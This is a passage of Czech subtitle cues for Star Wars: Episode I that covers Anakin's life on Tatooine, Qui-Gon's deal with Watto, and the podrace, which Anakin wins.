nejkrásnější bytosti ve vesmíru. 404 00:32:39,660 --> 00:32:42,210 Žijí na měsících Iego. 405 00:32:43,040 --> 00:32:46,710 Jsi zvláštní kluk. Odkud toho tolik víš? 406 00:32:46,840 --> 00:32:50,670 Poslouchám obchodníky a piloty, co sem přijdou. 407 00:32:50,800 --> 00:32:55,100 Jsem pilot a jednou odsud odletím někam daleko. 408 00:32:55,220 --> 00:32:59,140 - Ty jsi pilot? - Jo. Celý život. 409 00:32:59,310 --> 00:33:01,600 Jak dlouho jsi tu? 410 00:33:01,690 --> 00:33:05,690 Od malinka. Asi od tří let. 411 00:33:05,860 --> 00:33:08,530 Mámu a mě koupila Gardulla Hutt... 412 00:33:08,690 --> 00:33:11,360 ale prohrála nás v sázce. 413 00:33:11,780 --> 00:33:13,610 Ty jsi otrok? 414 00:33:13,740 --> 00:33:17,870 - Jsem člověk a jmenuju se Anakin. - Promiň. 415 00:33:17,990 --> 00:33:21,750 Ještě tady všemu nerozumím. Je to pro mě nové. 416 00:33:34,050 --> 00:33:35,640 - Mám tě. - Hej! 417 00:33:35,760 --> 00:33:37,510 Ránu do nosu. 418 00:33:42,100 --> 00:33:45,650 Hypergenerátor T-14. Máš štěstí. 419 00:33:45,730 --> 00:33:48,400 Jsem jedinej, kdo ho má. 420 00:33:48,520 --> 00:33:52,030 Ale kup si rovnou novou loď. Bylo by to asi levnější. 421 00:33:53,700 --> 00:33:55,070 Přičemž mě napadá... 422 00:33:55,200 --> 00:33:57,530 jak to všechno hodláš zacálovat? 423 00:33:57,700 --> 00:33:59,740 Mám 20 000 republikových datarů. 424 00:33:59,870 --> 00:34:01,700 Republikový kredity? 425 00:34:01,830 --> 00:34:04,750 Kredity jsou tady k ničemu. Něco tvrdšího nemáš? 426 00:34:04,870 --> 00:34:08,000 Nic jiného nemám, kredity ti budou stačit. 427 00:34:08,130 --> 00:34:11,760 - Ne, nebudou. - Kredity ti budou stačit. 428 00:34:11,880 --> 00:34:13,720 Ne, nebudou! 429 00:34:13,840 --> 00:34:17,970 Jsi snad nějakej Jedi, že tak máváš pazourou? 430 00:34:18,140 --> 00:34:22,390 Jsem Toydarian. Tyhle finty na mě nefungujou. Jen prachy. 431 00:34:23,230 --> 00:34:26,600 Nemáš prachy, nebudou součástky. 432 00:34:26,690 --> 00:34:31,280 A nikdo jinej hypermotor T-14 nemá, to si piš. 433 00:34:38,160 --> 00:34:42,370 Kdybych nebyl dobrý mechanik, už bych tady asi nebyl. 434 00:34:46,170 --> 00:34:48,040 Jdeme pryč. Jar Jare. 435 00:34:50,670 --> 00:34:53,170 Ráda jsem tě poznala, Anakine. 436 00:34:53,340 --> 00:34:55,130 Já tě taky rád poznal. 437 00:35:03,520 --> 00:35:08,100 Přespolní. Na nás si nepřijdou. 438 00:35:08,230 --> 00:35:10,150 Připadali mi příjemní. 439 00:35:10,270 --> 00:35:12,190 Vyčisti regály. 440 00:35:12,320 --> 00:35:13,610 Pak můžeš jít domů. 441 00:35:13,780 --> 00:35:15,530 Hurá! 442 00:35:21,620 --> 00:35:23,990 Určitě na palubě nic není? 443 00:35:24,120 --> 00:35:26,000 Pár krabic zásob. 444 00:35:26,120 --> 00:35:29,170 Královniny šaty, za ty ale moc nekoupíme... 445 00:35:29,250 --> 00:35:31,630 rozhodně nic tak drahého. 446 00:35:31,750 --> 00:35:34,670 Dobře. Určitě se naskytne jiné řešení. 447 00:35:34,800 --> 00:35:36,130 Ozvu se později. 448 00:35:36,970 --> 00:35:38,630 Už zás. 449 00:35:38,760 --> 00:35:41,600 Tády snad všechno blázni! 450 00:35:41,720 --> 00:35:44,180 Nás okrást a zmlátit. 451 00:35:44,310 --> 00:35:47,480 Těžko. Nemáme nic cenného. To je právě náš problém. 452 00:36:02,740 --> 00:36:04,160 A kdo bude platit? 453 00:36:06,160 --> 00:36:08,040 Stojí sedm wupiupi. 454 00:36:13,340 --> 00:36:14,670 A sákra. 455 00:36:19,170 --> 00:36:21,010 To je tvoje? 456 00:36:21,180 --> 00:36:22,890 Có, móje... 457 00:36:27,100 --> 00:36:29,230 Opatrně, Sebulbo. 458 00:36:29,350 --> 00:36:31,350 Je to velký frajer odjinud. 459 00:36:31,480 --> 00:36:34,980 Ať tě neroztrhá, než budeme znovu závodit. 460 00:36:35,190 --> 00:36:39,030 Příští závod bude tvůj konec, hochu. 461 00:36:39,150 --> 00:36:42,200 Kdybys nebyl otrok, rozmáčkl bych tě. 462 00:36:42,910 --> 00:36:45,740 No jo, přece za mě nebudeš platit. 463 00:36:47,080 --> 00:36:50,210 - Ahoj. - Nazdar. 464 00:36:50,330 --> 00:36:52,120 Váš kámoš to málem slíznul. 465 00:36:52,250 --> 00:36:54,130 Začal si s jedním Dugem... 466 00:36:54,250 --> 00:36:56,710 obzvlášť nebezpečným, Sebulbou. 467 00:36:56,880 --> 00:37:00,420 Já nerad mlátit se. Nikdy já néchtěla. 468 00:37:00,590 --> 00:37:04,600 Ale ten chlapec má pravdu. Měl jsi namále. 469 00:37:05,100 --> 00:37:06,600 Díky, příteli. 470 00:37:08,890 --> 00:37:10,770 Ále já nic vůbec! 471 00:37:19,280 --> 00:37:21,820 Ta bouře je zdrží. 472 00:37:21,990 --> 00:37:23,490 Vypadá to špatně. 473 00:37:24,950 --> 00:37:26,990 - Panaka. - Přišla zpráva z domova. 474 00:37:27,030 --> 00:37:28,240 Hned jsme tam. 475 00:37:35,540 --> 00:37:37,710 Tyhle pallinky jsou dobré. 476 00:37:37,840 --> 00:37:40,380 - Dejte si. - Díky. 477 00:37:41,590 --> 00:37:43,880 Bolí mě kosti. 478 00:37:44,010 --> 00:37:48,310 Blíží se bouřka, Ani. Radši běž rychle domů. 479 00:37:48,470 --> 00:37:51,310 - Máte se kde schovat? - Půjdeme zpátky na loď. 480 00:37:51,390 --> 00:37:53,980 - Je to daleko? - Za městem. 481 00:37:54,140 --> 00:37:56,810 To nemůžete stihnout. 482 00:37:56,860 --> 00:38:00,480 Písečné bouře jsou moc nebezpečné. 483 00:38:00,650 --> 00:38:03,110 Pojďte. Vezmu vás k nám. 484 00:38:17,880 --> 00:38:19,040 Mami! 485 00:38:19,170 --> 00:38:22,920 - Mami, jsem doma! - Útulníčko. 486 00:38:23,050 --> 00:38:25,430 - To jsou kamarádi, mami. - Nazdár. 487 00:38:25,550 --> 00:38:29,050 - Jsem Qui-Gon Jinn. - Stavím droida. Chceš ho vidět? 488 00:38:29,220 --> 00:38:31,600 Váš syn nám nabídl přístřeší. 489 00:38:31,720 --> 00:38:33,680 Pojď. Ukážu ti 3PO. 490 00:38:43,440 --> 00:38:46,740 Není bezva? Ještě není hotový. 491 00:38:46,860 --> 00:38:48,160 Je nádherný. 492 00:38:49,370 --> 00:38:51,120 Opravdu se ti líbí? 493 00:38:51,240 --> 00:38:54,160 Je to protokolární droid pro mámu. Koukej. 494 00:38:58,580 --> 00:38:59,880 Kde jsou všichni? 495 00:39:00,000 --> 00:39:01,130 Chybka. 496 00:39:04,380 --> 00:39:05,550 Dobrý den. 497 00:39:05,670 --> 00:39:08,930 Jsem C-3PO, expert na vztahy s lidmi. 498 00:39:09,090 --> 00:39:10,930 Jak vám mohu posloužit? 499 00:39:11,100 --> 00:39:13,850 - Je dokonalý. - Óó. Dokonalý. 500 00:39:14,020 --> 00:39:17,560 Až skončí bouřka, ukážu ti závodní kluzák, který si stavím. 501 00:39:18,940 --> 00:39:21,480 Nevím, jestli je ta podlaha stabilní. 502 00:39:21,570 --> 00:39:24,780 Dobrý den. My se ještě neznáme. 503 00:39:26,740 --> 00:39:28,990 R2-D2. Těší mě. 504 00:39:29,110 --> 00:39:32,160 Jsem C-3PO, expert na vztahy s lidmi. 505 00:39:35,080 --> 00:39:38,290 Promiň, ale co tím myslíš, že jsem "nahatý"? 506 00:39:39,960 --> 00:39:43,210 Jsou mi vidět součástky? Božínku! 507 00:39:47,720 --> 00:39:50,180 Máme velmi mnoho mrtvých. 508 00:39:50,340 --> 00:39:52,720 Musíme se podvolit. 509 00:39:52,890 --> 00:39:54,850 Musíte se mi ozvat. 510 00:39:54,970 --> 00:39:57,680 Je to léčka. Neodpovídejte. 511 00:39:57,810 --> 00:39:59,810 Vůbec nevysílejte. 512 00:40:02,110 --> 00:40:04,940 Zřejmě chtějí zaměřit naše vysílání. 513 00:40:05,110 --> 00:40:09,030 A co když to je pravda, a lidé opravdu umírají? 514 00:40:09,200 --> 00:40:11,620 Každopádně máme málo času. 515 00:40:25,170 --> 00:40:27,300 Tatooine je řídce osídlená. 516 00:40:27,460 --> 00:40:30,220 Jestli zaměření bylo správné, najdu je rychle, mistře. 517 00:40:30,380 --> 00:40:32,260 Nejdřív zlikviduj Jedie. 518 00:40:32,390 --> 00:40:35,060 Pak odvezeš královnu na Naboo... 519 00:40:35,220 --> 00:40:37,060 k podepsání smlouvy. 520 00:40:37,220 --> 00:40:39,390 Konečně Jediové poznají, co jsme zač. 521 00:40:39,520 --> 00:40:41,900 Konečně bude pomsta naše. 522 00:40:42,060 --> 00:40:44,900 Máš dobrý výcvik, učedníku. 523 00:40:45,070 --> 00:40:47,440 Nikdo se ti nevyrovná. 524 00:40:52,280 --> 00:40:56,290 Všichni otroci mají v těle schovaný vysílač. 525 00:40:57,330 --> 00:41:00,330 Dělám si senzor, abych ten svůj našel. 526 00:41:00,500 --> 00:41:03,960 - Kdo se pokusí utéct-- - Ten vyletí do vzduchu! 527 00:41:04,920 --> 00:41:06,500 No fůj! 528 00:41:06,630 --> 00:41:09,050 Nemůžu uvěřit, že ještě existuje otroctví. 529 00:41:09,130 --> 00:41:11,010 Republika má zákony proti otr-- 530 00:41:11,180 --> 00:41:13,510 Tady Republika neexistuje. 531 00:41:13,640 --> 00:41:15,800 Musíme se o sebe postarat sami. 532 00:41:16,810 --> 00:41:18,310 Pardón. 533 00:41:20,390 --> 00:41:22,900 Viděli jste už závody kluzáků? 534 00:41:23,060 --> 00:41:24,810 Na Malastaru se závodí. 535 00:41:24,980 --> 00:41:27,650 Velice rychlé a nebezpečné. 536 00:41:28,480 --> 00:41:30,360 Jsem jediný člověk, který to zvládne. 537 00:41:30,490 --> 00:41:33,450 Závodník musí mít reflexy jako Jedi. 538 00:41:34,620 --> 00:41:35,990 Už to nedělej. 539 00:41:41,460 --> 00:41:44,040 Vy jste rytíř Jedi, že ano? 540 00:41:47,000 --> 00:41:49,880 - Proč myslíš? - Máte laserový meč. 541 00:41:50,010 --> 00:41:52,840 Ten nosí jenom Jediové. 542 00:41:52,970 --> 00:41:56,090 Třeba jsem jednoho zabil a sebral mu ho. 543 00:41:56,260 --> 00:41:57,850 To asi ne. 544 00:41:57,930 --> 00:42:00,140 Rytíře Jedi nikdo nezabije. 545 00:42:01,060 --> 00:42:03,100 Kéž by to tak bylo. 546 00:42:03,190 --> 00:42:05,230 Zdálo se mi, že jsem Jedi. 547 00:42:05,350 --> 00:42:08,520 Vrátil jsem se a osvobodil všechny otroky. 548 00:42:08,610 --> 00:42:11,990 - Vy nás osvobodíte? - Ne, to asi ne. 549 00:42:12,110 --> 00:42:16,410 Myslím, že ano. Proč byste tu jinak byl? 550 00:42:21,290 --> 00:42:24,080 Ty prokoukneš každého, Anakine. 551 00:42:24,210 --> 00:42:27,170 Letíme na Coruscant, centrální soustavu v Republice... 552 00:42:27,330 --> 00:42:29,290 s důležitým úkolem. 553 00:42:29,460 --> 00:42:32,510 Jak jste se dostali sem na okraj? 554 00:42:32,630 --> 00:42:36,220 Naše loď je poškozená a musíme ji tady opravit. 555 00:42:37,510 --> 00:42:40,760 Pomůžu vám. Opravím cokoli. 556 00:42:40,850 --> 00:42:42,350 Já ti to věřím. 557 00:42:42,470 --> 00:42:45,270 Ale nejdřív musíme sehnat součástky. 558 00:42:45,390 --> 00:42:48,110 Bez penězí do krámu nelozí. 559 00:42:48,230 --> 00:42:51,730 Ti šmelináři musí mít nějaké slabé místo. 560 00:42:51,900 --> 00:42:56,200 Sázky. Všechno se tu točí kolem sázení na ty hrozné závody. 561 00:42:56,320 --> 00:42:57,530 Kluzáky. 562 00:42:57,700 --> 00:43:00,620 Mamon může být silný spojenec. 563 00:43:00,740 --> 00:43:03,580 Postavil jsem si kluzák. Nejrychlejší ze všech. 564 00:43:03,750 --> 00:43:06,040 Zítra je závod na počest Boonty. 565 00:43:06,170 --> 00:43:08,130 Můžete mě přihlásit. 566 00:43:09,080 --> 00:43:12,090 - Watto ti to nedovolí. - Neví, že jsem ho postavil. 567 00:43:12,210 --> 00:43:14,090 Řekněte mu, že je váš... 568 00:43:14,260 --> 00:43:16,470 a ať mě ho nechá řídit. 569 00:43:16,590 --> 00:43:18,140 Já nechci, abys závodil. 570 00:43:18,300 --> 00:43:20,800 Umírám strachy, když tě do toho Watto nutí. 571 00:43:20,890 --> 00:43:23,020 Ale mami, mně se to líbí. 572 00:43:23,180 --> 00:43:26,730 Výhra by bohatě zaplatila za ty jejich součástky. 573 00:43:26,810 --> 00:43:29,150 Anakine. 574 00:43:29,270 --> 00:43:32,020 Matka má pravdu. 575 00:43:32,150 --> 00:43:35,240 Znáte tu někoho, kdo má dobrý vztah k Republice a pomohl by nám? 576 00:43:36,780 --> 00:43:38,410 Ne. 577 00:43:43,450 --> 00:43:48,120 Mami, sama říkáš, že nejhorší je to, že si ve vesmíru nikdo nepomáhá. 578 00:43:52,960 --> 00:43:55,840 Qui-Gon vám nechce ohrozit syna. 579 00:43:55,960 --> 00:43:57,880 Uděláme to jinak. 580 00:44:00,340 --> 00:44:02,800 Nijak jinak to nejde. 581 00:44:02,890 --> 00:44:07,310 I když se mi to nelíbí, může vám pomoct. 582 00:44:08,140 --> 00:44:10,020 Bylo mu to souzeno. 583 00:44:23,620 --> 00:44:25,410 Víte, co děláte? 584 00:44:25,580 --> 00:44:28,210 Svěřit náš osud do rukou neznámého kluka? 585 00:44:28,290 --> 00:44:30,330 Královna nebude souhlasit. 586 00:44:30,500 --> 00:44:32,330 Nemusí to vědět. 587 00:44:33,500 --> 00:44:35,090 Ani já nesouhlasím. 588 00:44:36,210 --> 00:44:38,840 Kluk mi řekl, že ho přihlásíš do závodu. 589 00:44:39,010 --> 00:44:40,630 Jak to chceš udělat? 590 00:44:40,760 --> 00:44:44,010 Snad ne za republikový kredity. 591 00:44:44,180 --> 00:44:46,350 Zápisné zaplatím svou lodí. 592 00:44:46,810 --> 00:44:48,560 Není špatná! 593 00:44:48,680 --> 00:44:51,650 Není špatná! Nubian, co? 594 00:44:51,730 --> 00:44:55,070 Kromě těch součástek je v dobrém stavu. 595 00:44:55,190 --> 00:44:57,650 A v čem kluk pojede? 596 00:44:57,820 --> 00:45:01,360 Minule mi rozflákal kluzák. Spravování by trvalo moc dlouho. 597 00:45:01,450 --> 00:45:03,780 To nebyla moje chyba. Vážně. 598 00:45:03,950 --> 00:45:05,530 Sebulba na mě otevřel výfuky. 599 00:45:05,700 --> 00:45:09,080 Ten kluzák jsem vlastně skoro zachránil. 600 00:45:10,210 --> 00:45:12,670 Zachránil, to jo. 601 00:45:12,790 --> 00:45:15,590 Kluk je dobrej, to jo. 602 00:45:15,710 --> 00:45:18,170 Vyhrál jsem jeden kluzák v sázce. 603 00:45:18,340 --> 00:45:20,010 Ten nejrychlejší. 604 00:45:20,090 --> 00:45:25,260 Doufám, že jsi kvůli němu nesejmul nikoho, koho znám. 605 00:45:27,220 --> 00:45:30,810 Takže ty dodáš kluzák a zápisný... 606 00:45:30,850 --> 00:45:32,270 a já dodám kluka. 607 00:45:32,390 --> 00:45:36,270 Výhru si rozdělíme fifty-fifty, jo? 608 00:45:36,400 --> 00:45:38,280 Když fifty-fifty... 609 00:45:38,400 --> 00:45:41,030 tak zaplať zápisné ty. 610 00:45:41,150 --> 00:45:43,200 Když vyhrajeme... 611 00:45:43,320 --> 00:45:47,120 necháš si celou výhru mínus cenu součástek. 612 00:45:47,240 --> 00:45:50,410 Když prohrajeme, necháš si mou loď. 613 00:45:52,920 --> 00:45:54,290 Každopádně vyhraješ. 614 00:46:00,090 --> 00:46:01,470 Platí! 615 00:46:06,800 --> 00:46:11,020 Mám dojem, že tvůj kámoš je hlupák. 616 00:46:19,020 --> 00:46:21,940 Co když to nevyjde, mistře? 617 00:46:22,070 --> 00:46:24,740 To by nás hodně zdrželo. 618 00:46:24,910 --> 00:46:27,450 Je riskantní volat odsud o pomoc... 619 00:46:27,530 --> 00:46:30,950 a v lodi bez motoru nikam neodletíme. 620 00:46:31,080 --> 00:46:33,000 A... 621 00:46:33,160 --> 00:46:35,080 ten hoch je zvláštní. 622 00:46:41,880 --> 00:46:44,170 Můžete být na syna pyšná. 623 00:46:44,970 --> 00:46:47,260 Pomáhá všem kolem sebe. 624 00:46:47,430 --> 00:46:50,260 Nezná sobectví. 625 00:46:50,430 --> 00:46:51,520 Má... 626 00:46:52,520 --> 00:46:54,430 Zvláštní schopnosti. 627 00:46:56,190 --> 00:46:57,400 Ano. 628 00:46:57,520 --> 00:47:00,020 Vidí věci dřív, než se stanou. 629 00:47:00,070 --> 00:47:02,860 Proto má tak rychlé reflexy. 630 00:47:02,990 --> 00:47:04,860 Jako Jediové. 631 00:47:04,990 --> 00:47:07,780 Nezaslouží si žít jako otrok. 632 00:47:07,910 --> 00:47:11,240 Kdyby se narodil v Republice, všimli bychom si ho dřív. 633 00:47:13,700 --> 00:47:17,460 Síla je u něj obzvláště velká. To je jisté. 634 00:47:17,580 --> 00:47:19,290 Kdo byl jeho otec? 635 00:47:22,000 --> 00:47:23,960 Žádného neměl. 636 00:47:25,420 --> 00:47:28,760 Odnosila jsem ho, porodila, vychovala. 637 00:47:29,640 --> 00:47:32,100 Nedokážu to vysvětlit. 638 00:47:33,890 --> 00:47:35,730 Pomůžete mu? 639 00:47:35,810 --> 00:47:37,730 To nevím. 640 00:47:40,230 --> 00:47:43,820 Nepřišel jsem s úmyslem osvobozovat otroky. 641 00:47:57,000 --> 00:47:58,870 Opravdový astrodroid! 642 00:48:00,790 --> 00:48:04,550 - Jak se ti to povedlo? - A to není všechno. 643 00:48:04,670 --> 00:48:07,670 - Pojedu v zítřejším závodu. - Cože? 644 00:48:07,760 --> 00:48:09,470 S tímhle? 645 00:48:09,470 --> 00:48:12,220 Děláš si legraci, Ani. 646 00:48:12,350 --> 00:48:15,560 - Děláš na něm už roky. - Nikdy se nerozjede. 647 00:48:15,810 --> 00:48:17,980 Pojďte si zahrát. 648 00:48:18,140 --> 00:48:21,440 Jeď si, Ani. Vymázneš se a bude po tobě. 649 00:48:29,990 --> 00:48:32,370 Nesahej na ty energodržáky. 650 00:48:32,490 --> 00:48:35,950 Jestli se ti tam chytne ruka, budeš ji mít hodiny chromou. 651 00:48:36,080 --> 00:48:37,410 Dobře. 652 00:48:41,170 --> 00:48:43,710 Fcípnul mi jafyk. 653 00:48:43,840 --> 00:48:46,920 Jafyk-- Hafák. 654 00:48:47,050 --> 00:48:49,720 De je hafák? Áha, tády je. 655 00:48:54,180 --> 00:48:55,720 Zafek fem fe. 656 00:48:55,850 --> 00:48:59,810 Ten Jar Jar mi připadá trochu zvláštní. 657 00:49:01,690 --> 00:49:04,520 Ani nevíš, jestli nastartuješ. 658 00:49:04,650 --> 00:49:06,690 - Ale jo. - Tak to zkusíme. 659 00:49:06,860 --> 00:49:09,070 - Tady máš startér. - Ano, šéfe! 660 00:49:09,190 --> 00:49:11,240 Pojď stranou, Kitstere. 661 00:49:11,360 --> 00:49:13,530 Moje pufa. 662 00:49:13,700 --> 00:49:15,030 Ani, zafek fem fe. 663 00:49:20,250 --> 00:49:22,370 Fcípnul mi jafyk. 664 00:49:22,540 --> 00:49:25,460 Máš pravdu. Je skutečně zvláštní. 665 00:49:27,710 --> 00:49:29,760 Děkuju. 666 00:49:29,880 --> 00:49:31,260 Můveš. 667 00:49:45,770 --> 00:49:49,440 Funguje to! 668 00:50:00,080 --> 00:50:02,540 Nehýbej se, Ani. Vyčistím ti ránu. 669 00:50:02,710 --> 00:50:06,630 Je jich tolik. Mají všechny svoje planety? 670 00:50:06,750 --> 00:50:08,630 Většina. 671 00:50:08,750 --> 00:50:10,710 Byl už někdo na všech? 672 00:50:12,420 --> 00:50:13,630 To asi ne. 673 00:50:14,760 --> 00:50:16,970 Budu první, kdo uvidí všechny. 674 00:50:18,180 --> 00:50:20,560 Ani, do postele! 675 00:50:20,680 --> 00:50:23,440 A je to. Jsi v pořádku. 676 00:50:23,560 --> 00:50:26,440 Ani, nebudu to říkat znovu. 677 00:50:26,560 --> 00:50:29,980 - Co to děláte? - Krevní zkoušku na infekce. 678 00:50:30,110 --> 00:50:31,610 Tak jdi. 679 00:50:31,740 --> 00:50:33,700 Zítra máš velký den. 680 00:50:33,860 --> 00:50:35,700 Dobře se vyspi, Ani. 681 00:50:38,450 --> 00:50:40,450 - Obi-Wane? - Ano, mistře? 682 00:50:40,620 --> 00:50:43,330 Potřebuju analýzu vzorku krve. 683 00:50:43,410 --> 00:50:45,170 Moment. 684 00:50:46,880 --> 00:50:48,840 Chci test midi-chlorianů. 685 00:50:51,800 --> 00:50:54,380 To jsou obrovská čísla. 686 00:50:54,550 --> 00:50:56,430 Přes dvacet tisíc. 687 00:50:56,550 --> 00:51:00,140 Ani mistr Yoda nemá tolik midi-chlorianů. 688 00:51:00,310 --> 00:51:02,060 Žádný Jedi. 689 00:51:02,220 --> 00:51:04,270 Co to znamená? 690 00:51:05,140 --> 00:51:06,770 To nevím jistě. 691 00:52:16,300 --> 00:52:19,340 Chci vidět tvoji loď hned po závodech. 692 00:52:19,380 --> 00:52:21,140 Trpělivost, modrásku. 693 00:52:21,260 --> 00:52:23,510 Dostaneš svou výhru před západem sluncí. 694 00:52:23,600 --> 00:52:25,430 A my už budeme daleko. 695 00:52:25,560 --> 00:52:29,560 To sotva, když mi bude patřit tvá loď. 696 00:52:29,730 --> 00:52:33,150 Varuju tě, žádný levárny. 697 00:52:33,230 --> 00:52:36,320 - Myslíš, že Anakin na to nemá? - To zas ne. 698 00:52:36,490 --> 00:52:38,950 V toho kluka věřím. 699 00:52:39,070 --> 00:52:41,160 Dělá čest tvý rase... 700 00:52:41,240 --> 00:52:44,540 ale podle mě vyhraje tamhle Sebulba. 701 00:52:46,660 --> 00:52:48,410 Ale ne! 702 00:52:52,580 --> 00:52:54,420 Proč si to myslíš? 703 00:52:54,550 --> 00:52:56,420 Vždycky vyhraje! 704 00:52:58,420 --> 00:53:00,840 Na Sebulbu sázím všechno. 705 00:53:02,760 --> 00:53:05,510 - Přijímám sázku. - Cože? 706 00:53:06,270 --> 00:53:09,560 Vsadím nový kluzák proti... 707 00:53:09,690 --> 00:53:11,560 chlapci a matce. 708 00:53:11,730 --> 00:53:15,440 Kluzák nemá cenu dvou otroků, ani náhodou. 709 00:53:16,480 --> 00:53:18,240 Tak chlapce. 710 00:53:24,410 --> 00:53:26,950 Ať rozhodne osud, né? 711 00:53:27,080 --> 00:53:30,500 Náhodou tady mám hrací kostku. 712 00:53:30,620 --> 00:53:33,670 Modrá to je kluk. 713 00:53:33,790 --> 00:53:34,920 Červená... 714 00:53:36,340 --> 00:53:37,960 jeho máma. 715 00:53:47,680 --> 00:53:50,060 Tuhle sázku jsi vyhrál, cizinče... 716 00:53:50,230 --> 00:53:52,350 ale závod nevyhraješ! 717 00:53:52,480 --> 00:53:54,560 Takže je to stejně fuk! 718 00:54:04,360 --> 00:54:09,240 Ať už tvůj kámoš nesází, nebo prohraje sám sebe. 719 00:54:13,040 --> 00:54:15,500 - Co tím myslel? - To ti řeknu potom. 720 00:54:15,670 --> 00:54:17,040 Dobré ráno. 721 00:54:19,130 --> 00:54:21,920 Božínku. Cestovat vesmírem je nebezpečné. 722 00:54:23,970 --> 00:54:27,970 Ujišťuji tě, že do žádné hrozné lodě nikdy nevkročím. 723 00:54:28,140 --> 00:54:31,520 To je úžasný, Ani. Dneska to určitě dokážeš. 724 00:54:31,640 --> 00:54:32,680 A co? 725 00:54:32,850 --> 00:54:35,900 Přece dojede závod. 726 00:54:36,060 --> 00:54:37,770 Tys nikdy nevyhrál? 727 00:54:37,940 --> 00:54:40,610 No, vlastně ne. 728 00:54:40,780 --> 00:54:42,740 Ani jsi nedojel? 729 00:54:42,900 --> 00:54:45,360 Kitster má pravdu, dnes to dokážu. 730 00:54:45,450 --> 00:54:47,490 To víš, že jo. 731 00:55:17,020 --> 00:55:18,860 Tos řekl hezky. 732 00:55:18,980 --> 00:55:24,030 Jsou tady diváci ze všech koutů okraje galaxie. 733 00:55:24,150 --> 00:55:27,780 Závodníci se už chystají na startu. 734 00:55:29,870 --> 00:55:32,700 A to je Ben Quadrinaros ze soustavy Tund. 735 00:55:38,380 --> 00:55:40,840 Dvojnásobný vítěz Boles Roor. 736 00:55:43,380 --> 00:55:45,170 Sebulba! 737 00:55:55,600 --> 00:55:58,650 A v přední řadě, na krajní pozici... 738 00:55:58,810 --> 00:56:00,770 Mawhonic! 739 00:56:02,020 --> 00:56:04,070 Srdečně zdravíme... 740 00:56:04,190 --> 00:56:07,910 Clegga Holdfasta s jeho kluzákem Voltec KT9 Wasp! 741 00:56:10,910 --> 00:56:13,910 A vrátil se silný Dud Bolt... 742 00:56:14,040 --> 00:56:18,620 s neuvěřitelně výkonným strojem značky Vulptereen 327. 743 00:56:21,960 --> 00:56:24,250 A s touhou po vítězství je tu... 744 00:56:24,380 --> 00:56:28,800 Ody Mandrell se svým rekordním týmem droidů. 745 00:56:33,680 --> 00:56:36,930 A na poslední chvíli přihlášený mladý Anakin Skywalker... 746 00:56:37,060 --> 00:56:38,350 zdejší hoch. 747 00:56:41,060 --> 00:56:43,320 Vidím, že vlajkonoši už nastupují. 748 00:57:03,750 --> 00:57:05,250 Buď opatrný. 749 00:57:05,420 --> 00:57:07,760 Budu, mami. Slibuju. 750 00:57:23,940 --> 00:57:26,610 Tohle bude tvůj konec... 751 00:57:26,650 --> 00:57:28,940 otroku smradlavej. 752 00:57:29,110 --> 00:57:32,360 Na to nespoléhej, slizoune. 753 00:57:32,490 --> 00:57:34,870 Sežere tě bantha! 754 00:57:39,290 --> 00:57:41,540 - Jsi připravený, Ani? - Jo. 755 00:57:41,670 --> 00:57:43,250 Dobře. 756 00:57:47,420 --> 00:57:50,010 Soustřeď se na přítomnost. 757 00:57:50,170 --> 00:57:53,890 Musíš cítit, nepřemýšlej. Věř instinktům. 758 00:57:54,050 --> 00:57:55,680 Dobře. 759 00:57:55,800 --> 00:57:57,970 Ať tě Síla provází. 760 00:58:06,980 --> 00:58:08,980 Jabba Hutt. 761 00:58:19,080 --> 00:58:23,500 Vítejte. 762 00:58:24,500 --> 00:58:27,710 Závod může začít! 763 00:58:38,510 --> 00:58:41,680 Už vyklízejí startovní pole. 764 00:58:42,850 --> 00:58:44,730 - Je nervózní? - To nic. 765 00:58:46,400 --> 00:58:49,270 Vy Jediové moc riskujete. Královně se to... 766 00:58:49,400 --> 00:58:52,280 Královna věří mému úsudku, má drahá. 767 00:58:52,400 --> 00:58:54,570 Ty bys taky měla. 768 00:58:54,740 --> 00:58:56,780 Moc si toho domýšlíte. 769 00:58:57,530 --> 00:58:59,990 Nastartujte motory. 770 00:59:39,280 --> 00:59:42,580 To bude jau jau. Já nekoukat! 771 01:00:02,640 --> 01:00:03,890 Ale ne! 772 01:00:09,560 --> 01:00:12,820 Moment. Malý Skywalker neodstartoval. 773 01:00:23,330 --> 01:00:27,540 A Quadrinos má taky problémy s motorem. 774 01:00:29,120 --> 01:00:30,380 No tak, Ani! 775 01:00:36,840 --> 01:00:38,430 Skywalker odstartoval! 776 01:00:38,550 --> 01:00:39,970 Dělej, Ani! 777 01:00:40,090 --> 01:00:42,260 Nebude pro něj snadné dohnat ostatní. 778 01:01:56,380 --> 01:01:59,300 Zdá se, že v zatáčce se utábořili... 779 01:01:59,420 --> 01:02:01,720 nějací Tuskenové. 780 01:02:12,900 --> 01:02:16,650 Quadrinarosovy energodržáky nevydržely. 781 01:02:44,380 --> 01:02:46,600 Ale ne! 782 01:02:51,390 --> 01:02:53,270 Kde je pan Anakin? 783 01:02:56,520 --> 01:02:58,690 Podívejte, tamhle je. 784 01:03:01,440 --> 01:03:03,780 Zdá se, že Skywalker se probíjí dopředu. 785 01:03:04,700 --> 01:03:06,110 Jó! Hurá! 786 01:03:13,620 --> 01:03:17,170 Musí dojet ještě dvě kola? Božínku. 787 01:04:24,820 --> 01:04:26,700 Skywalker ztratil ovládání! 788 01:05:24,670 --> 01:05:28,630 Ať jste z jaké chcete soustavy, tohle musí bolet! 789 01:05:35,680 --> 01:05:37,430 Tády je! 790 01:05:37,520 --> 01:05:40,640 Na začátku posledního kola vede Sebulba... 791 01:05:40,730 --> 01:05:43,270 těsně za ním Skywalker! 792 01:05:43,400 --> 01:05:44,270 Dělej, Ani! 793 01:06:11,300 --> 01:06:13,640 Skywalker byl vytlačen na obslužnou rampu! 794 01:06:35,320 --> 01:06:36,700 Je to Skywalker! 795 01:06:37,660 --> 01:06:38,990 Sebulba! 796 01:06:39,120 --> 01:06:43,330 Úžasné! Šlápl na plyn a je znovu na trati! 797 01:06:43,500 --> 01:06:45,210 Nabóural? 798 01:07:26,210 --> 01:07:29,420 Skywalker má problémy! Sebulba se dostal do vedení! 799 01:08:22,390 --> 01:08:24,060 Dohání Sebulbu! 800 01:08:25,180 --> 01:08:27,690 Bachá, Ani! 801 01:08:58,050 --> 01:09:00,430 Ten človíček se snad zbláznil! 802 01:09:01,550 --> 01:09:02,720 Jsou bok po boku! 803 01:09:31,380 --> 01:09:33,250 - Hurá! - Vyhrál! 804 01:09:37,460 --> 01:09:39,170 To je neuvěřitelné. 805 01:09:39,300 --> 01:09:41,220 Diváci jsou bez sebe! 806 01:09:50,140 --> 01:09:52,190 Bézva, Ani! 